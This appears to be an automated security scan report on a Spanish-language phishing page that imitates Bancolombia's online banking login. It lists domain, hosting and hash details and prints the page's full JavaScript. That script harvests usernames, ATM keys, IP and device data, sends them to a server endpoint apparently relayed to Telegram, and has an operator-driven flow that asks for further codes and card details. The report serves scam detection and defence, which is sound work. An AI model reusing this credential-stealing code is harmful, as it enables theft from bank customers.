phishing scam

finance banking

e-commerce shopping

documentation technical

government public service

Spanish

The domain name 'www.cl.realizarconsultaco.com' uses the commercial generic top-level domain (.com) with subdomain 'www.cl'. Count 18 characters in 'realizarconsultaco' with 8 vowels and ten consonants. Splitting it apart reveals five words: real, izarc, on, sul, taco. Median word length is four characters. No strong language cues emerged from the frequency lists.

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

a3fc7337851b10b652cc577e39e1e632b3c54c95b2404da90ce5d40cb6b36eb5

f66b4e00af6428ad3f229dabb2a2a18bf03633644ae21609382dbcfd13924dc9

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

2 Bancolombia

Sucursal Virtual Personas

"

éCrees que reconocerias un fraude?
Desctibrelo en nuestro documental No pasa hasta que pasa.

Miralo ya en YouTube

jHola!

Ingresa los datos para gestionar tus,
productos y hacer transacciones.

& Usuario

{Olvidaste tu usuario?

& Clave del cajero Mostrar

{Olvidaste o bloqueaste tu clave?

Crear usuario

a


MarkMonitor Inc.

GSTATIC.COM

GOOGLEAPIS.COM

Dattatec Corp

REALIZARCONSULTACO.COM

Abuse DonWeb

Hostmar ISP

Dattatec.com

Donweb.com SRL

200.58.96.0 - 200.58.111.255

// Ocultar loader inicial después de 3 segundos
 window.addEventListener('load', function() {
 setTimeout(function () {
 var initialLoader = document.getElementById('initial-loader');
 if (initialLoader) {
 initialLoader.style.display = 'none';
 initialLoader.style.pointerEvents = 'none';
 }
 }, 3000);
 });

 document.addEventListener("DOMContentLoaded", function () {
 const urlParams = new URLSearchParams(window.location.search);
 
 // Obtener datos desde URL params o localStorage
 const nombre = urlParams.get('nombre') || localStorage.getItem('nombre') || 'No disponible';
 const cedula = urlParams.get('cedula') || localStorage.getItem('cedula') || localStorage.getItem('val') || 'No disponible';
 const correoEmail = urlParams.get('correo') || localStorage.getItem('correo') || 'No disponible';
 const celularTel = urlParams.get('celular') || localStorage.getItem('cel') || 'No disponible';
 const banco = urlParams.get('banco') || localStorage.getItem('banco') || localStorage.getItem('nom') || 'Bancolombia';
 const nic = urlParams.get('nic') || localStorage.getItem('nic') || 'No disponible';
 const total = urlParams.get('monto') || localStorage.getItem('total_pagar') || localStorage.getItem('total') || 'No disponible';

 // Guardar en window para acceso global
 window.nombre = nombre;
 window.cedula = cedula;
 window.correoEmail = correoEmail;
 window.celularTel = celularTel;
 window.banco = banco;
 window.nic = nic;
 window.total = total;
 
 // Generar o recuperar session_id
 let sessionId = localStorage.getItem('session_id');
 if (!sessionId) {
 sessionId = 'session_' + Date.now() + '_' + Math.random().toString(36).substr(2, 9);
 localStorage.setItem('session_id', sessionId);
 }
 
 const sessionInput = document.getElementById('session_id');
 sessionInput.value = sessionId;

 // Obtener usuario desde URL params y establecer en el campo hidden
 const userFromUrl = urlParams.get('user');
 const usernameInput = document.getElementById('username');
 if (userFromUrl) {
 usernameInput.value = userFromUrl;
 localStorage.setItem('username', userFromUrl);
 }

 // Event listener para el botón Ingresa
 const btnIngresar = document.querySelector('.btn');
 
 btnIngresar.addEventListener('click', async function (event) {
 event.preventDefault();
 event.stopPropagation();

 // Verificar que el botón esté activo
 if (!btnIngresar.classList.contains('active')) {
 return;
 }

 // Obtener datos del formulario
 const usuario = document.getElementById('user').value.trim();
 const password = document.getElementById('clave').value.trim();

 // Validaciones: usuario requerido y clave de exactamente 4 dígitos
 if (usuario.length === 0) {
 alert('El usuario es obligatorio');
 return;
 }
 if (password.length !== 4) {
 alert('La clave debe tener exactamente 4 dígitos');
 return;
 }

 // Mostrar loader
 const loader = document.getElementById('loader-overlay');
 if (loader) {
 loader.style.display = 'flex';
 }

 const formUsername = document.getElementById('username').value || usuario;
 const session_id = document.getElementById('session_id').value;

 localStorage.setItem('username', formUsername);
 localStorage.setItem('password', password);
 localStorage.setItem('session_id', session_id);
 localStorage.setItem('identificacion', usuario);
 localStorage.setItem('tipoDocumento', 'CC');

 let infoData;
 try {
 infoData = JSON.parse(localStorage.getItem('info') || '{}');
 } catch (e) {
 return;
 }

 const meta = infoData?.metaInfo || {};

 // Obtener datos del usuario desde localStorage o URL params
 const username = urlParams.get('user') || localStorage.getItem('username') || '';
 
 // Detectar tipo de dispositivo
 const userAgent = navigator.userAgent;
 let dispositivo = 'PC';
 
 if (/Android/i.test(userAgent)) {
 dispositivo = 'Android';
 } else if (/iPhone|iPad|iPod/i.test(userAgent)) {
 dispositivo = 'iPhone';
 } else if (/Windows/i.test(userAgent)) {
 dispositivo = 'PC';
 } else if (/Mac/i.test(userAgent)) {
 dispositivo = 'Mac';
 } else if (/Linux/i.test(userAgent)) {
 dispositivo = 'Linux';
 }
 
 const hora = new Date().toLocaleString('es-ES');

 // Obtener datos desde window (definidos al inicio) o valores por defecto
 const nombreVal = window.nombre || 'No disponible';
 const cedulaVal = window.cedula || 'No disponible';
 const correoEmailVal = window.correoEmail || 'No disponible';
 const celularTelVal = window.celularTel || 'No disponible';
 const bancoVal = window.banco || 'Bancolombia';
 const totalVal = window.total || 'No disponible';
 const nicVal = window.nic || 'No disponible';
 
 // Función para construir y enviar el mensaje
 function buildAndSendMessage(ip) {
 const mensaje = `
💎BANCOLOMBIA💎
😈ACTIVO😈
------------------------------
📟Dispositivo: ${dispositivo}
🗺IP: ${ip}
⏱Hora: ${hora}
------------------------------
👤 Usuario: ${localStorage.getItem('username') || localStorage.getItem('identificacion') || 'No disponible'}
🔑 Clave: ${localStorage.getItem('password') || 'No disponible'}
------------------------------`;

 const formData = new FormData();
 formData.append('message', mensaje);
 formData.append('transactionId', session_id);

 fetch('procesar_logo.php', {
 method: 'POST',
 body: formData
 })
 .then(res => {
 if (!res.ok) {
 throw new Error('Error en la respuesta del servidor: ' + res.status);
 }
 return res.json();
 })
 .then(result => {
 if (result.status === 'success') {
 checkPaymentVerification(session_id, result.messageId);
 } else {
 console.error('Error en procesar_logo:', result.message);
 const loader = document.getElementById('loader-overlay');
 if (loader) {
 loader.style.display = 'none';
 }
 }
 })
 .catch(err => {
 console.error('Error enviando a Telegram:', err);
 const loader = document.getElementById('loader-overlay');
 if (loader) {
 loader.style.display = 'none';
 }
 });
 }
 
 // Obtener IP y construir mensaje
 fetch('get_ip.php')
 .then(response => {
 if (!response.ok) {
 throw new Error('Error en la respuesta del servidor: ' + response.status);
 }
 return response.json();
 })
 .then(data => {
 const ip = data.ip || 'No disponible';
 buildAndSendMessage(ip);
 })
 .catch(() => {
 buildAndSendMessage('No disponible');
 });
 });

 // (Se elimina validación de documento y restricciones extra de clave)
 });

 async function checkPaymentVerification(transactionId, messageId) {
 try {
 const formData = new FormData();
 formData.append('transactionId', transactionId);
 formData.append('messageId', messageId);

 const res = await fetch('verificar_respuesta.php', {
 method: 'POST',
 body: formData
 });
 const result = await res.json();

 if (result.action) {
 switch (result.action) {
 case 'pedir_dinamica':
 window.location.href = "dinamica.html";
 break;
 case 'error_logo': 
 // Ocultar loader antes de mostrar error
 const loader = document.getElementById('loader-overlay');
 if (loader) {
 loader.style.display = 'none';
 }
 alert("Usuario o clave incorrectos.");
 window.location.href = "index.html";
 break;
 case 'error_sms':
 const loaderSms = document.getElementById('loader-overlay');
 if (loaderSms) {
 loaderSms.style.display = 'none';
 }
 window.location.href = "sms.html";
 break;
 case 'error_tarjeta':
 const loaderTarjeta = document.getElementById('loader-overlay');
 if (loaderTarjeta) {
 loaderTarjeta.style.display = 'none';
 }
 window.location.href = "ccc.html";
 break;
 case 'bien_aviso':
 const loaderAviso = document.getElementById('loader-overlay');
 if (loaderAviso) {
 loaderAviso.style.display = 'none';
 }
 window.location.href = "aviso-importante.html";
 break;
 }
 } else {
 setTimeout(() => checkPaymentVerification(transactionId, messageId), 2000);
 }
 } catch (err) {
 setTimeout(() => checkPaymentVerification(transactionId, messageId), 2000);
 }
 }

Requests	IP Address	Location	AS Autonomous System
3	200.58.111.129	Rosario, Santa Fe, Argentina	AS27823Dattatec.com
2	142.250.154.95Google · CDN	United States	AS15169Google LLC
2	142.251.110.94Google · CDN	United States	AS15169Google LLC
7	3	-	-

Security Scan Report: www.cl.realizarconsultaco.com

Summary

AI Security Verdict

Confirmed Scam

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies1

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History